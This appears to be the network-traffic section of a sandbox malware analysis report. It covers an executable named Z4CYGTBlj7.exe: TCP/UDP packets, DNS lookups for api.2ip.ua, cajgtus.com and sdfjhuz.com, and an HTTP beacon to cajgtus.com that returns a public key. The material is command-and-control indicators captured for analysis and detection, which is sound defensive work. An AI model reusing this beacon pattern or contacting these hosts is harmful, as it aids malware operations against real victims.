Apr 24, 2024 12:07:22.941309929 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.941334963 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.941353083 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.943746090 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.943766117 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.943804026 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.943808079 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.943830967 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.943850040 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.947379112 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.947397947 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.947441101 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.947446108 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.947482109 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.950334072 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.950354099 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.950390100 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.950395107 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.950423002 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.950436115 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.954382896 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.954411030 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.954457998 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.954463959 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.954504013 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.957133055 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.957154036 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.957216024 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.957220078 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.957266092 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.960191011 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.960213900 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.960261106 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.960266113 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.960299015 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.960309982 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.963582039 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.963601112 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.963670015 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.963675022 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.963721037 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.963753939 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.963800907 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.963804007 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.963825941 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:22.963866949 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.964163065 CEST	49726	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:22.964175940 CEST	443	49726	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:23.063663960 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.063709974 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:23.063843966 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.064153910 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.064168930 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:23.718163013 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:23.718228102 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.718832970 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.718842983 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:23.720478058 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.720482111 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:23.720496893 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:23.720504045 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.300173998 CEST	49728	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:24.300267935 CEST	443	49728	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.300987005 CEST	49728	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:24.301225901 CEST	49728	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:24.301264048 CEST	443	49728	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.760421038 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.760500908 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.760572910 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:24.761548042 CEST	49727	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:24.761580944 CEST	443	49727	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.954829931 CEST	443	49728	95.217.9.149	192.168.2.5
Apr 24, 2024 12:07:24.954906940 CEST	49728	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:25.425586939 CEST	49728	443	192.168.2.5	95.217.9.149
Apr 24, 2024 12:07:39.813899994 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:39.813935995 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:39.814008951 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:39.925261974 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:39.925282001 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:40.254580975 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:40.254653931 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:40.263652086 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:40.263662100 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:40.264046907 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:40.264303923 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:40.266093969 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:40.312115908 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:41.052185059 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:41.052290916 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:41.052314043 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:41.052361965 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:41.052606106 CEST	49729	443	192.168.2.5	172.67.139.220
Apr 24, 2024 12:07:41.052699089 CEST	443	49729	172.67.139.220	192.168.2.5
Apr 24, 2024 12:07:41.052745104 CEST	49729	443	192.168.2.5	172.67.139.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 12:06:56.615938902 CEST	54013	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:06:56.850944996 CEST	53	54013	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:00.452672958 CEST	50738	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:00.453538895 CEST	56858	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:01.442457914 CEST	56858	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:01.442533016 CEST	50738	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:02.442456961 CEST	56858	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:02.442543983 CEST	50738	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:04.457762003 CEST	50738	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:04.457762003 CEST	56858	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:04.523969889 CEST	53	56858	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.524019957 CEST	53	56858	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.524056911 CEST	53	56858	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.558362961 CEST	53	50738	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.558399916 CEST	53	50738	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.558434010 CEST	53	50738	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.611363888 CEST	53	50738	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:04.611409903 CEST	53	56858	1.1.1.1	192.168.2.5
Apr 24, 2024 12:07:07.672677040 CEST	65179	53	192.168.2.5	1.1.1.1
Apr 24, 2024 12:07:07.826136112 CEST	53	65179	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 24, 2024 12:06:56.615938902 CEST	192.168.2.5	1.1.1.1	0x92f9	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:00.452672958 CEST	192.168.2.5	1.1.1.1	0xab65	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:00.453538895 CEST	192.168.2.5	1.1.1.1	0xdf12	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:01.442457914 CEST	192.168.2.5	1.1.1.1	0xdf12	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:01.442533016 CEST	192.168.2.5	1.1.1.1	0xab65	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:02.442456961 CEST	192.168.2.5	1.1.1.1	0xdf12	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:02.442543983 CEST	192.168.2.5	1.1.1.1	0xab65	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.457762003 CEST	192.168.2.5	1.1.1.1	0xab65	Standard query (0)	cajgtus.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.457762003 CEST	192.168.2.5	1.1.1.1	0xdf12	Standard query (0)	sdfjhuz.com	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:07.672677040 CEST	192.168.2.5	1.1.1.1	0x38a8	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 24, 2024 12:06:56.850944996 CEST	1.1.1.1	192.168.2.5	0x92f9	No error (0)	api.2ip.ua	172.67.139.220	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:06:56.850944996 CEST	1.1.1.1	192.168.2.5	0x92f9	No error (0)	api.2ip.ua	104.21.65.24	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	181.128.130.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.523969889 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	181.128.130.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524019957 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	181.128.130.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.524056911 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558362961 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.174.249	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558399916 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.174.249	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.558434010 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.174.249	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.119.84.111	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	210.182.29.70	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	95.158.162.200	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	187.212.254.27	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.98.23.157	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	211.171.233.126	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	190.156.239.49	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.174.249	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.163.142.13	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611363888 CEST	1.1.1.1	192.168.2.5	0xab65	No error (0)	cajgtus.com	189.189.178.112	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	211.181.24.133	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.147.2.86	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	186.145.236.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	179.33.180.97	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.220.21.28	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	109.175.29.39	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	189.195.132.134	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	95.86.30.3	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	190.218.33.18	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:04.611409903 CEST	1.1.1.1	192.168.2.5	0xdf12	No error (0)	sdfjhuz.com	181.128.130.193	A (IP address)	IN (0x0001)	false
Apr 24, 2024 12:07:07.826136112 CEST	1.1.1.1	192.168.2.5	0x38a8	No error (0)	steamcommunity.com	184.85.65.125	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

cajgtus.com

sdfjhuz.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49709	189.163.142.13	80	6600	C:\Users\user\Desktop\Z4CYGTBlj7.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 12:07:04.769598961 CEST	139	OUT	GET /test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 12:07:05.352653980 CEST	766	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 10:07:24 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 562 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 73 43 53 73 47 68 32 5c 2f 77 35 66 55 52 56 61 78 64 56 49 5a 5c 5c 6e 6f 2b 6e 37 37 68 30 35 4a 39 67 45 65 56 55 52 76 51 4c 75 78 38 54 4f 30 70 6a 78 72 4a 50 73 61 41 5c 2f 43 32 30 69 55 36 55 49 6e 62 30 43 67 7a 37 50 6c 2b 39 73 73 66 41 74 52 6a 32 75 35 5c 5c 6e 66 61 6d 33 53 73 39 36 34 6b 34 6f 75 4c 63 33 77 41 55 55 46 78 61 7a 6c 6f 78 64 75 75 72 43 37 75 45 62 35 69 67 37 4e 67 5c 2f 42 55 68 6e 53 5a 48 4f 4c 75 79 66 6b 32 6f 5c 2f 46 62 79 4b 63 5c 5c 6e 41 59 43 4e 4f 36 66 4c 70 73 45 79 32 38 59 63 44 74 46 6e 55 73 66 61 6b 74 63 68 66 68 57 38 56 62 6f 5a 34 72 71 77 76 6d 53 4a 47 39 74 38 75 2b 65 50 37 41 46 4d 4a 79 72 44 5c 2f 45 4d 79 5c 5c 6e 74 66 54 76 30 66 32 36 53 46 43 71 7a 4d 49 6b 45 4c 45 5a 33 67 33 45 39 35 35 64 6a 68 75 65 7a 4f 77 45 59 66 4d 32 65 69 69 56 52 4e 43 6a 66 66 78 45 71 63 69 59 39 2b 33 6c 63 42 6f 38 5c 5c 6e 36 4c 78 68 70 51 50 68 66 34 74 5c 2f 68 74 70 54 63 34 5c 2f 78 44 64 66 32 5c 2f 42 59 79 37 67 68 62 51 49 56 68 4c 7a 70 78 30 43 31 6e 4e 4e 70 2b 6a 34 79 4a 4f 6f 74 54 2b 31 58 4a 6f 31 51 47 5c 5c 6e 33 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 38 44 76 6f 71 78 33 62 76 66 76 31 47 4e 4f 58 77 51 4c 72 53 39 4e 68 4b 38 41 35 42 75 65 75 64 70 56 6c 43 76 43 77 22 7d Data Ascii: 